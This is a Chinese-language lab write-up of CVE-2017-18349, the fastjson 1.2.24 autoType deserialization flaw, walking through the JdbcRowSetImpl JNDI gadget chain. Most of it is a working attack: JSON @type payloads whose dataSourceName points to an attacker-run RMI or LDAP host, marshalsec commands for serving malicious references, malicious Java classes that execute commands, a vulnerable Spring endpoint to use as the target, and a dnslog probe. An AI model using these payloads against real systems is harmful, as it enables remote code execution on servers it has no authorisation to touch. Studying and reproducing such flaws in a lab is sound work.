CVE-2017-18349 Auto Type RCE
2026年8月9日大约 3 分钟
参考:
调用链
该漏洞需要结合 Gadget 才能利用成功,这里选用 com.sun.rowset.JdbcRowSetImpl 作为 Gadget 类进行分析。
说明: 在 Java 漏洞利用中,"Gadget 类"指的是存在于目标应用类路径(Classpath)中、能被利用来一步步触发恶意行为的合法类。
通过post传参将json格式的poc传入后端,后端获取到json格式的数据,通过parse、parseObject方法,对json内容进行反序列化操作。
{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://192.168.100.128:8888/Calc", "autoCommit":true }
todo fastjson @type 调用 com.alibaba.fastjson.util.JavaBeanInfo.build()
而由于fastjson未对传入的@type的类名,进行严格校验,导致将恶意类加载,并实例化该恶意类。
com.sun.rowset.JdbcRowSetImpl 实例化 set dataSourceName 调用 set autoCommit 调用这会导致远程的代码,执行修改系统文件等。
public void setAutoCommit(boolean autoCommit) throws SQLException { // <---- fastjson反序列化来到这里 if(conn != null) { conn.setAutoCommit(autoCommit); } else { // <------------ conn为空,执行connect() conn = connect(); conn.setAutoCommit(autoCommit); } }private Connection connect() throws SQLException { if(conn != null) { return conn; } else if (getDataSourceName() != null) { // <---------- dataSourceName不为空(因为我们设置了DataSourceName的属性值) try { Context ctx = new InitialContext(); DataSource ds = (DataSource) ctx.lookup(getDataSourceName()); // <------ lookup函数去连接我们远程的rmi/ldap服务以此达成远程命令执行的目的 if(getUsername() != null && !getUsername().equals("")) { return ds.getConnection(getUsername(),getPassword()); } else { return ds.getConnection(); } } catch (javax.naming.NamingException ex) { throw new SQLException(resBundle.handleGetObject("jdbcrowsetimpl.connect").toString()); } } else if (getUrl() != null) { return DriverManager.getConnection (getUrl(), getUsername(), getPassword()); } else { return null; } }然后远程攻击机(192.168.100.128)启动一个rmi服务器并指向执行一个可访问执行命令的类对象接口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.100.128:8088/#Calc" 8888通过python服务将该命令执行类公开在 http://192.168.100.128:8088
public class Calc{ public Calc(){ try{ Runtime.getRuntime().exec("calc"); }catch (Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Calc c = new Calc(); } } javac Calc.java python -m http.server 8088
提示
测试服务器时需要启动rmi/ldap服务、还需要启动一个http服务来公开类、测试jndi过于麻烦,因此我们可以通过dns协议来检测其连接。 这样我们既避免了暴露自己的服务器地址、又可以测试是否存在该漏洞。
如dnslog:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"dns://lhkty9.dnslog.cn",
"autoCommit":true
}发送payload后,发现dnslog发现连接地址,因此存在jndi注入
复现
环境
java -version1.8.0_102 —— 该版本没有com.sun.jndi.rmi.object.trustURLCodebase限制,可以使用com.sun.rowset.JdbcRowSetImpl利用链结合JNDI注入执行远程命令
准备JVM环境
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version准备靶机(192.168.100.1:8088)
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>@PostMapping("/json")
@ResponseBody
public JSONObject parse(@RequestBody String data) {
JSONObject jsonObject = new JSONObject();
jsonObject.put("status", 0);
System.out.println(data);
JSON.parse(data);
return jsonObject;
}准备恶意类
import java.lang.Runtime;
import java.lang.Process;
public class evilclass {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/test"}; // todo 反弹shell
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}javac evilclass.java准备恶意RMI服务(也可以使用启动LDAP服务,效果是一样的)
# 首先下载 marshalsec
git clone https://github.com/mbechler/marshalsec.git
# 安装 maven 并编译 marshalsec 生成 jar
apt-get install maven
mvn clean package -DskipTests
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.8/#evilclass" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.8/#evilclass" 9999发送payload信息
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.8:9999/evilclass",
"autoCommit":true
}
}